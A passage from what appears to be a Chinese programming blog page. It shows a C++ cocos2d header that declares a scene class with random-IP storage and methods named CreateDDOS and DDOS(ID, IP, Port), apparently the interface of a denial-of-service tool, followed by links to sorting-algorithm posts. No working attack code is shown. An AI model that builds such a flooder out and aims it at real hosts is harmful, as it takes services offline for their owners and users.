        }
        return;
    }

    FirstScene.h

    #ifndef __FirstScene_SCENE_H__
    #define __FirstScene_SCENE_H__
    
    #include "cocos2d.h"
    #include <iostream>
    #include <string.h>
    
    using namespace std;
    #include "MusicLayer.h"
    #include "Tools/Tools.h"
    
    class FirstScene : public cocos2d::Scene
    {
    
        unsigned char **m_RandIP = nullptr;
        Tools m_Tools;
        int m_RandIPNum = 0;
    public:
        static cocos2d::Scene* createScene();
        ~FirstScene();
    
        virtual bool init();
        
        // a selector callback
        void OnCallback(cocos2d::Ref* pSender);
        
        // implement the "static create()" method manually
        CREATE_FUNC(FirstScene);
    
        Node *CreateDDOS();
    
        void DDOS(int ID, string IP, string Port);
    
        virtual void update(float delta);
    };
    
    #endif // __FirstScene_SCENE_H__
  • 相关阅读:
    (11)选择排序之二 树形选择排序
    (13)归并排序之一 2路归并排序递归形式
    (15)内部排序C++源码
    (10)选择排序之一 简单选择排序
    (14)归并排序之二 2路归并排序非递归形式
    (12)选择排序之三 堆排序
    Linux常用命令日常积累
    构建工具更新记录
    用javascript读取xml,并进行修改xml数据,解决保存没有权限问题
    免费的午餐(编程利用GoogleAPI发短信)移动联通都支持
  • 原文地址:https://www.cnblogs.com/YZFHKMS-X/p/12733429.html
Copyright © 2011-2022 走看看